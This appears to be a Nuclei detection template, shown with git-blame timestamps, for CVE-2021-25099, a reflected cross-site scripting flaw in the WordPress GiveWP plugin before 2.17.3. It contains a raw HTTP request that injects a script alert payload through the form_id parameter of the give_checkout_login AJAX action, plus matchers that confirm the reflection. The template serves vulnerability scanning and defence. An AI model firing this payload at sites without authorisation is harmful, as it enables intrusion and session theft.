nuclei-templates/http/cves/2021/CVE-2021-25099.yaml

52 lines
2.4 KiB
YAML
Raw Normal View History

2022-12-12 16:23:16 +00:00
id: CVE-2021-25099
info:
name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
2022-12-12 16:23:16 +00:00
author: theamanrawat
severity: medium
description: |
WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 12:09:01 +00:00
remediation: |
Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
2022-12-12 16:23:16 +00:00
reference:
- https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
- https://wordpress.org/plugins/give/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25099
- https://plugins.trac.wordpress.org/changeset/2659032
- https://github.com/ARPSyndicate/kenzer-templates
2022-12-12 16:23:16 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-12-12 16:23:16 +00:00
cve-id: CVE-2021-25099
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.001
2024-05-31 19:23:20 +00:00
epss-percentile: 0.41295
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
2022-12-12 16:23:16 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:09:01 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: givewp
product: givewp
2023-09-06 12:09:01 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,xss,wp,give,wordpress,wp-plugin,unauth,wpscan,givewp
2022-12-12 16:23:16 +00:00
http:
2022-12-12 16:23:16 +00:00
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<script>alert(document.domain)</script>")'
2022-12-12 18:17:01 +00:00
- 'contains(body, "give_user_login")'
2022-12-12 16:23:16 +00:00
condition: and
# digest: 4b0a00483046022100c98a60fdfc37512556f1094274d13b080633a1ca2b55936ebc78706b94e40f1802210097f53cc5b2062010ca5f95dc8e2ba351657f0a380ae226bbe6a89baf8d814659:922c64590222798bb761d5b6d8e72950